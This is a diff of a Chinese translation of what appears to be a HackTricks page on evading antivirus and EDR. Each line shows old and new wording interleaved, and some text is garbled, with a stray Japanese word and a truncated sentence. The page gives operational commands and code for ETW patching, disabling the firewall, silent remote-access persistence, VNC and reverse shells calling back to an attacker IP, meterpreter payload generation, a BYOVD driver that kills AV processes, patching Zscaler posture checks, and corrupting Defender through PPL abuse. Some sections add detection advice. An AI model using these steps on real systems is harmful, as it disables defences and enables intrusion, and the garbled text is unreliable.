[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 是一个将 payloads 打包进输出容器以规避 Mark-of-the-Web 的工具。
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 是一个将 payloads 打包到输出容器以规避 Mark-of-the-Web 的工具。
|
||||
|
||||
Example usage:
|
||||
示例用法:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -389,51 +386,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) 是 Windows 中一个强大的日志记录机制,允许应用程序和系统组件**记录事件**。但它也可以被安全产品用来监控和检测恶意活动。
|
||||
Event Tracing for Windows (ETW) 是 Windows 中一个强大的日志记录机制,允许应用程序和系统组件**记录事件**。但是,它也可能被安全产品用来监视和检测恶意活动。
|
||||
|
||||
类似于 AMSI 被禁用(绕过)的方法,也可以让用户空间进程的 **`EtwEventWrite`** 函数立即返回而不记录任何事件。这是通过在内存中修补该函数使其立即返回来实现的,从而有效地禁用了该进程的 ETW 日志。
|
||||
类似于 AMSI 被禁用(绕过)的方式,也可以让用户态进程的 **`EtwEventWrite`** 函数立即返回而不记录任何事件。これは通过在内存中修改该函数使其立即返回来完成,从而有效地禁用了该进程的 ETW 日志记录。
|
||||
|
||||
你可以在 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 找到更多信息。
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Loading C# binaries in memory 已为人所知已有一段时间,仍然是运行你的 post-exploitation 工具而不被 AV 发现的一个很好的方式。
|
||||
Loading C# binaries in memory 已经存在相当长一段时间,并且仍然是运行 post-exploitation 工具而不被 AV 发现的一个很好的方式。
|
||||
|
||||
由于 payload 会直接加载到内存而不接触磁盘,我们只需要担心为整个进程修补 AMSI。
|
||||
由于 payload 会直接加载到内存而不接触磁盘,我们只需要担心为整个进程补丁 AMSI。
|
||||
|
||||
大多数 C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) 已经提供了直接在内存中执行 C# assemblies 的能力,但有不同的实现方式:
|
||||
大多数 C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) 已经提供了直接在内存中执行 C# assemblies 的能力,但有不同的方法可以做到这一点:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
它涉及**生成一个新的牺牲进程(spawning a new sacrificial process)**,将你的 post-exploitation 恶意代码注入到该新进程中,执行恶意代码,完成后终止该进程。此方法有利有弊。Fork and run 的好处是执行发生在我们的 Beacon implant 进程**之外**。这意味着如果我们的 post-exploitation 操作出现问题或被发现,我们的**implant 更有可能存活**。缺点是更有可能被 **Behavioural Detections** 发现。
|
||||
它涉及**生成一个新的牺牲进程(sacrificial process)**,将你的 post-exploitation 恶意代码注入到该新进程中,执行你的恶意代码,完成后终止该新进程。这既有优点也有缺点。fork and run 方法的优点是执行发生在我们的 Beacon implant 进程**之外**。这意味着如果我们的 post-exploitation 操作出现问题或被捕获,我们的**植入体更有可能幸存。**缺点是更有可能被**Behavioural Detections** 发现。
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
这是将 post-exploitation 恶意代码注入**到其自身进程中(into its own process)**。通过这种方式,你可以避免创建新进程并被 AV 扫描,但缺点是如果 payload 的执行出现问题,你就更有可能**丢失你的 beacon(losing your beacon)**,因为它可能会崩溃。
|
||||
这是将 post-exploitation 恶意代码**注入到其自身进程**。这样你可以避免创建新进程并被 AV 扫描,但缺点是在 payload 执行出现问题时,更有可能**丢失你的 beacon**,因为它可能会崩溃。
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 如果你想了解更多关于 C# Assembly 加载的内容,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 以及他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> 如果你想阅读更多关于 C# Assembly 加载的内容,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 以及他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
你也可以**从 PowerShell** 加载 C# Assemblies,参考 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
|
||||
你也可以**从 PowerShell**加载 C# Assemblies,参见 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins),可以通过让受害机器访问位于 Attacker Controlled SMB share 上的解释器环境,使用其他语言执行恶意代码。
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins),通过让受害机器访问**部署在 Attacker Controlled SMB share 上的解释器环境**,可以使用其他语言来执行恶意代码。
|
||||
|
||||
通过允许访问 SMB 共享上的 Interpreter Binaries 和环境,你可以在被攻陷机器的内存中**执行这些语言的任意代码**。
|
||||
通过允许访问 SMB share 上的 Interpreter Binaries 和环境,你可以在被攻破机器的内存中**以这些语言执行任意代码**。
|
||||
|
||||
该仓库指出:Defender 仍然会扫描这些脚本,但通过使用 Go、Java、PHP 等语言,我们在**绕过静态签名**方面有更多灵活性。对这些语言中随机未混淆的 reverse shell 脚本的测试已证明是成功的。
|
||||
该仓库指出:Defender 仍然会扫描脚本,但通过使用 Go、Java、PHP 等,我们在**绕过静态签名**方面具有更大的灵活性。使用这些语言的随机未混淆 reverse shell 脚本进行测试已被证明是成功的。
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping 是一种技术,允许攻击者**操纵访问令牌或像 EDR 或 AV 这样的安全产品**,使其降低权限,从而进程不会终止但也没有权限检查恶意活动。
|
||||
Token stomping 是一种技术,允许攻击者**操作访问令牌或像 EDR 或 AV 这样的安全产品的令牌**,使其权限降低,从而进程不会终止,但没有权限检查恶意活动。
|
||||
|
||||
为防止这种情况,Windows 可能会**阻止外部进程**获取安全进程的令牌句柄。
|
||||
为防止此类情况,Windows 可以**阻止外部进程**获取安全进程令牌的句柄。
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -443,26 +440,26 @@ Token stomping 是一种技术,允许攻击者**操纵访问令牌或像 EDR
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
如 [**这篇博客文章**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 所述,很容易在受害者 PC 上部署 Chrome Remote Desktop,然后用它接管并维持持久化:
|
||||
1. 从 https://remotedesktop.google.com/ 下载,点击 "Set up via SSH",然后点击 Windows 的 MSI 文件下载该 MSI。
|
||||
2. 在受害者机器上以静默方式运行安装程序(需要管理员):`msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. 返回 Chrome Remote Desktop 页面并点击下一步。向导会要求你授权;点击 Authorize 按钮继续。
|
||||
4. 用一些调整后的参数执行给出的命令:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(注意 pin 参数,它允许在不使用 GUI 的情况下设置 pin)。
|
||||
如 [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 所述,只需在受害者 PC 上部署 Chrome Remote Desktop,然后使用它来接管并保持持久性就很容易:
|
||||
1. 从 https://remotedesktop.google.com/ 下载,点击 "Set up via SSH",然后点击 Windows 的 MSI 文件以下载 MSI。
|
||||
2. 在受害者上静默运行安装程序(需要管理员):`msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. 返回 Chrome Remote Desktop 页面并点击 next。向导会要求你授权;点击 Authorize 按钮继续。
|
||||
4. 执行给定的参数并做一些调整:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (注意 pin 参数允许在不使用 GUI 的情况下设置 pin)。
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion 是一个非常复杂的话题,有时你需要在单个系统中考虑来自许多不同来源的遥测,所以在成熟的环境中完全不被发现几乎是不可能的。
|
||||
Evasion 是一个非常复杂的主题,有时你必须在单个系统中考虑许多不同的遥测源,因此在成熟的环境中几乎不可能完全保持不被发现。
|
||||
|
||||
你遇到的每个环境都会有其自身的强项和弱点。
|
||||
每个你面对的环境都会有其自身的强项和弱点。
|
||||
|
||||
我强烈建议你去观看来自 [@ATTL4S](https://twitter.com/DaniLJ94) 的这个演讲,以便对更高级的 Evasion 技术有一个初步了解。
|
||||
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以便对更高级的 Evasion 技术有一个入门了解。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
这也是来自 [@mariuszbit](https://twitter.com/mariuszbit) 的另一场关于 Evasion in Depth 的精彩演讲。
|
||||
his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -473,12 +470,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它会**移除二进制的部分内容**,直到**找出 Defender 认为恶意的部分**并把它拆分给你。\
|
||||
另一个做同样事情的工具是 [**avred**](https://github.com/dobin/avred),并且有一个开放的 web 服务在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它会**移除二进制的部分内容**,直到**找出 Defender 认为是恶意的部分**并把它拆分出来。\
|
||||
另一个做**同样事情的工具是** [**avred**](https://github.com/dobin/avred),并在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供了一个开放的 web 服务。
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
在 Windows10 之前,所有 Windows 都带有一个可以安装的 **Telnet server**(以管理员身份)操作如下:
|
||||
直到 Windows10 之前,所有 Windows 都自带一个可以安装的 **Telnet server**(以管理员身份)执行:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -486,36 +483,36 @@ pkgmgr /iu:"TelnetServer" /quiet
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**更改 telnet 端口**(隐蔽)并禁用防火墙:
|
||||
**更改 telnet 端口** (stealth) 并禁用 firewall:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (请下载 bin 版本,不要安装程序)
|
||||
从这里下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (你想要 the bin downloads, not the setup)
|
||||
|
||||
**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
|
||||
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
||||
|
||||
- 启用选项 _Disable TrayIcon_
|
||||
- 在 _VNC Password_ 中设置密码
|
||||
- 在 _View-Only Password_ 中设置密码
|
||||
- 为 _VNC Password_ 设置密码
|
||||
- 为 _View-Only Password_ 设置密码
|
||||
|
||||
Then, move the binary _**winvnc.exe**_ and **新创建的** 文件 _**UltraVNC.ini**_ inside the **victim**
|
||||
然后,将二进制文件 _**winvnc.exe**_ 和 **新创建** 的文件 _**UltraVNC.ini**_ 移动到 **victim** 内
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
**attacker** 应该在他的 **host** 上 **execute inside** 二进制文件 `vncviewer.exe -listen 5900`,这样它将被 **prepared** 用来捕获反向 **VNC connection**。然后在 **victim** 内:启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**WARNING:** 为保持隐蔽性,你必须避免以下行为
|
||||
**警告:** 为了保持隐蔽,你必须避免以下几件事
|
||||
|
||||
- 不要在 `winvnc` 已经运行时再次启动它,否则会触发一个 [弹窗](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否正在运行
|
||||
- 不要在没有 `UltraVNC.ini` 与其同目录的情况下启动 `winvnc`,否则会导致[配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
||||
- 不要运行 `winvnc -h` 来查看帮助,否则会触发一个 [弹窗](https://i.imgur.com/oc18wcu.png)
|
||||
- 不要在 `winvnc` 已经运行时启动 `winvnc`,否则你会触发一个 [popup](https://i.imgur.com/1SROTTl.png)。通过 `tasklist | findstr winvnc` 检查它是否在运行
|
||||
- 如果同一目录下没有 `UltraVNC.ini` 则不要启动 `winvnc`,否则会导致 [the config window](https://i.imgur.com/rfMQWcf.png) 弹出
|
||||
- 不要运行 `winvnc -h` 获取帮助,否则会触发一个 [popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
从这里下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -523,7 +520,7 @@ cd GreatSCT/setup/
|
||||
cd ..
|
||||
./GreatSCT.py
|
||||
```
|
||||
在 GreatSCT 内:
|
||||
在 GreatSCT 内部:
|
||||
```
|
||||
use 1
|
||||
list #Listing available payloads
|
||||
@ -533,11 +530,11 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
现在 **启动 lister** 使用 `msfconsole -r file.rc` 并 **执行** **xml payload**:
|
||||
现在使用 `msfconsole -r file.rc` **start the lister**,并用下面的命令 **execute** the **xml payload**:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**当前的 Defender 会很快终止该进程。**
|
||||
**当前防护程序会很快终止该进程。**
|
||||
|
||||
### 编译我们自己的 reverse shell
|
||||
|
||||
@ -545,11 +542,11 @@ https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### 第一个 C# Revershell
|
||||
|
||||
用以下命令编译:
|
||||
使用以下命令编译:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
与其一起使用:
|
||||
与之一起使用:
|
||||
```
|
||||
back.exe <ATTACKER_IP> <PORT>
|
||||
```
|
||||
@ -690,22 +687,22 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### 更多
|
||||
### More
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – 从内核空间终结 AV/EDR
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – 从内核空间终止 AV/EDR
|
||||
|
||||
Storm-2603 利用一个名为 **Antivirus Terminator** 的小型控制台工具在部署勒索软件前禁用终端防护。该工具携带其**自带的有漏洞但已签名的驱动**,并滥用它来下发特权的内核操作,即使是 Protected-Process-Light (PPL) 的 AV 服务也无法阻止这些操作。
|
||||
Storm-2603 利用了一个名为 **Antivirus Terminator** 的小型控制台工具,在投放勒索软件之前禁用端点防护。该工具携带了它**自带的易受攻击但已*签名*的驱动程序**,并滥用它来发出特权内核操作,即使是 Protected-Process-Light (PPL) 的 AV 服务也无法阻止。
|
||||
|
||||
关键要点
|
||||
1. **Signed driver**:写入磁盘的文件是 `ServiceMouse.sys`,但二进制实际上是来自 Antiy Labs “System In-Depth Analysis Toolkit” 的合法签名驱动 `AToolsKrnl64.sys`。因为该驱动带有有效的 Microsoft 签名,所以即使在启用 Driver-Signature-Enforcement (DSE) 的情况下也会被加载。
|
||||
2. **Service installation**:
|
||||
Key take-aways
|
||||
1. **Signed driver**: 投放到磁盘的文件是 `ServiceMouse.sys`,但二进制实际上是 Antiy Labs “System In-Depth Analysis Toolkit” 中合法签名的驱动 `AToolsKrnl64.sys`。因为该驱动带有有效的 Microsoft 签名,即使启用了 Driver-Signature-Enforcement (DSE) 也会被加载。
|
||||
2. **Service installation**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
第一行将驱动注册为**内核服务**,第二行启动它,使得 `\\.\ServiceMouse` 可从用户态访问。
|
||||
第一行将驱动注册为 **kernel service**,第二行启动它,从而使 `\\.\ServiceMouse` 可从用户态访问。
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | Capability |
|
||||
|-----------:|-----------------------------------------|
|
||||
@ -725,28 +722,28 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**:BYOVD 完全绕过用户态保护;在内核执行的代码可以打开*受保护*进程、终止它们或篡改内核对象,而不受 PPL/PP、ELAM 或其他加固特性的限制。
|
||||
4. **Why it works**: BYOVD 完全绕过了用户态保护;在内核中执行的代码可以打开 *protected* 进程、终止它们,或篡改内核对象,而不受 PPL/PP、ELAM 或其他加固特性的限制。
|
||||
|
||||
检测 / 缓解
|
||||
• 启用 Microsoft 的易受攻击驱动屏蔽列表(`HVCI`, `Smart App Control`),以使 Windows 拒绝加载 `AToolsKrnl64.sys`。
|
||||
• 监控新的*内核*服务创建,并在驱动从可被所有用户写入的目录加载或不在允许列表中时发出警报。
|
||||
• 监视对自定义设备对象的用户态句柄随后出现可疑的 `DeviceIoControl` 调用。
|
||||
Detection / Mitigation
|
||||
• 启用 Microsoft 的易受攻击驱动阻止列表(`HVCI`、`Smart App Control`),以便 Windows 拒绝加载 `AToolsKrnl64.sys`。
|
||||
• 监视新的 *kernel* 服务创建,并在驱动从可被全局写入的目录加载或不在允许列表中时发出告警。
|
||||
• 监控是否存在对自定义设备对象的用户态句柄,随后出现可疑的 `DeviceIoControl` 调用。
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler 的 Client Connector 在本地应用 device-posture 规则,并依赖 Windows RPC 将结果与其他组件通信。两个薄弱的设计选择使得完全绕过成为可能:
|
||||
Zscaler’s **Client Connector** 在本地应用设备姿态规则,并依赖 Windows RPC 将结果传达给其他组件。两个设计缺陷使得完全绕过成为可能:
|
||||
|
||||
1. 姿态评估完全在客户端执行(发送到服务器的是一个布尔值)。
|
||||
2. 内部 RPC 端点只验证连接的可执行文件是否由 Zscaler 签名(通过 `WinVerifyTrust`)。
|
||||
1. 姿态评估**完全在客户端**进行(仅向服务器发送一个布尔值)。
|
||||
2. 内部 RPC 端点只验证连接的可执行文件是否由 **Zscaler 签名**(通过 `WinVerifyTrust`)。
|
||||
|
||||
通过在磁盘上修补四个已签名的二进制文件,这两种机制都可以被中和:
|
||||
通过在磁盘上对四个已签名二进制进行**补丁**,这两种机制都可以被中和:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 始终返回 `1`,因此每次检查都视为合规 |
|
||||
| `ZSAService.exe` | 间接调用 `WinVerifyTrust` | 被 NOP 处理 ⇒ 任何(即使未签名的)进程都可以绑定到 RPC 管道 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | 被替换为 `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | 对 tunnel 的完整性检查 | 被短路 |
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 始终返回 `1`,使每次检查通过 |
|
||||
| `ZSAService.exe` | 间接调用到 `WinVerifyTrust` | 被 NOP 处理 ⇒ 任何(甚至未签名的)进程都可以绑定到 RPC 管道 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | 替换为 `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | 对隧道的完整性检查 | 被短路 |
|
||||
|
||||
Minimal patcher excerpt:
|
||||
```python
|
||||
@ -762,22 +759,22 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
替换原始文件并重启服务堆栈后:
|
||||
在替换原始文件并重启服务堆栈后:
|
||||
|
||||
* **所有** 态势检查显示 **绿色/合规**。
|
||||
* 未签名或被修改的二进制文件可以打开命名管道 RPC 端点(例如 `\\RPC Control\\ZSATrayManager_talk_to_me`)。
|
||||
* 受损主机获得对由 Zscaler 策略定义的内部网络的不受限制访问。
|
||||
* **所有** 态势检查显示为 **绿色/合规**。
|
||||
* 未签名或被修改的二进制可以打开命名管道 RPC 端点(例如 `\\RPC Control\\ZSATrayManager_talk_to_me`)。
|
||||
* 已被妥协的主机将获得由 Zscaler 策略定义的内部网络的不受限制访问。
|
||||
|
||||
该案例研究演示了如何通过少量字节补丁击败纯客户端的信任决策和简单的签名检查。
|
||||
本案例展示了如何通过少量字节修补,击败纯客户端的信任决策和简单的签名校验。
|
||||
|
||||
## 滥用 Protected Process Light (PPL) 利用 LOLBINs 篡改 AV/EDR
|
||||
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
|
||||
|
||||
Protected Process Light (PPL) 强制执行签名者/级别的层级关系,因此只有相同或更高级别的受保护进程才能相互篡改。进攻角度上,如果你能合法地启动一个启用了 PPL 的二进制并控制其参数,你就可以将良性功能(例如日志记录)转换为受限的、由 PPL 支持的写入原语,用于针对 AV/EDR 使用的受保护目录。
|
||||
Protected Process Light (PPL) 强制执行签名者/级别层级,只有相同或更高的受保护进程才能相互篡改。进攻上,如果你能够合法地启动一个启用了 PPL 的二进制并控制其参数,你可以将良性功能(例如日志记录)转换为针对 AV/EDR 使用的受保护目录的受限、由 PPL 支持的写原语。
|
||||
|
||||
是什么让进程以 PPL 运行
|
||||
- 目标 EXE(及任何加载的 DLL)必须使用支持 PPL 的 EKU 签名。
|
||||
- 该进程必须通过 CreateProcess 创建,并使用以下标志:`EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`。
|
||||
- 必须请求与二进制签名者匹配的兼容保护级别(例如,对反恶意软件签名者使用 `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`,对 Windows 签名者使用 `PROTECTION_LEVEL_WINDOWS`)。错误的级别将在创建时失败。
|
||||
What makes a process run as PPL
|
||||
- 目标 EXE(以及任何加载的 DLLs)必须使用具备 PPL 能力的 EKU 签名。
|
||||
- 进程必须使用 CreateProcess 创建,并使用标志:`EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`。
|
||||
- 必须请求与二进制签名者匹配的兼容保护级别(例如,对 anti-malware 签名者使用 `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`,对 Windows 签名者使用 `PROTECTION_LEVEL_WINDOWS`)。错误的级别将在创建时失败。
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
@ -786,9 +783,9 @@ stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
Launcher tooling
|
||||
- 开源工具:CreateProcessAsPPL(选择保护级别并将参数转发给目标 EXE):
|
||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- 用法示例:
|
||||
- Usage pattern:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
@ -796,42 +793,42 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
# example: spawn an anti-malware signed component at level 3
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN 原语: ClipUp.exe
|
||||
- 签名的系统二进制文件 `C:\Windows\System32\ClipUp.exe` 会自行启动进程,并接受一个参数,将日志文件写到调用者指定的路径。
|
||||
- 当以 PPL 进程启动时,写文件操作在 PPL 保护下进行。
|
||||
- ClipUp 无法解析包含空格的路径;使用 8.3 短路径来指向通常受保护的位置。
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- 已签名的系统二进制文件 `C:\Windows\System32\ClipUp.exe` 会自我产生子进程,并接受一个参数,将日志文件写入调用者指定的路径。
|
||||
- 当以 PPL 进程启动时,文件写入会带有 PPL 支持。
|
||||
- ClipUp 无法解析包含空格的路径;使用 8.3 短路径指向通常受保护的位置。
|
||||
|
||||
8.3 短路径辅助方法
|
||||
8.3 short path helpers
|
||||
- 列出短名:在每个父目录中运行 `dir /x`。
|
||||
- 在 cmd 中推导短路径:`for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
- 在 cmd 中派生短路径:`for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
滥用链(概述)
|
||||
1) 使用启动器(例如 CreateProcessAsPPL)以 `CREATE_PROTECTED_PROCESS` 启动具有 PPL 能力的 LOLBIN(ClipUp)。
|
||||
2) 传入 ClipUp 的日志路径参数,以在受保护的 AV 目录(例如 Defender Platform)中强制创建文件。如有需要,使用 8.3 短名。
|
||||
3) 如果目标二进制在 AV 运行时通常被打开/锁定(例如 MsMpEng.exe),通过安装一个会更早运行的自动启动服务来安排在 AV 启动之前于引导时执行写入。使用 Process Monitor(boot logging)验证引导顺序。
|
||||
4) 重启后,具有 PPL 保护的写入会在 AV 锁定其二进制文件之前发生,破坏目标文件并阻止其启动。
|
||||
Abuse chain (abstract)
|
||||
1) 使用启动器(例如 CreateProcessAsPPL),通过 `CREATE_PROTECTED_PROCESS` 启动支持 PPL 的 LOLBIN(ClipUp)。
|
||||
2) 传递 ClipUp 的日志路径参数,强制在受保护的 AV 目录中创建文件(例如 Defender Platform)。如有必要,使用 8.3 短名称。
|
||||
3) 如果目标二进制文件在运行时通常被 AV 打开/锁定(例如 MsMpEng.exe),则通过安装一个能够更早可靠运行的自启动服务,在 AV 启动之前安排在引导时写入。使用 Process Monitor(boot logging)验证引导顺序。
|
||||
4) 重启后,带有 PPL 支持的写入会在 AV 锁定其二进制文件之前发生,导致目标文件损坏并阻止其启动。
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Notes and constraints
|
||||
- 无法控制 ClipUp 写入的内容,除了放置位置;该 primitive 更适合用于破坏而非精确的内容注入。
|
||||
- 需要本地 admin/SYSTEM 权限来安装/启动 service 并且需要一个重启窗口。
|
||||
- 时机至关重要:目标不得被打开;在 boot-time 执行可避免文件锁定。
|
||||
注意与限制
|
||||
- 除了放置位置外,无法控制 ClipUp 写入的内容;该 primitive 更适合用于破坏而非精确的内容注入。
|
||||
- 需要本地 admin/SYSTEM 权限来安装/启动服务并需要重启窗口。
|
||||
- 时间控制很关键:目标不得被打开;在引导时执行可避免文件锁定。
|
||||
|
||||
Detections
|
||||
- Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot.
|
||||
- New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures.
|
||||
- File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags.
|
||||
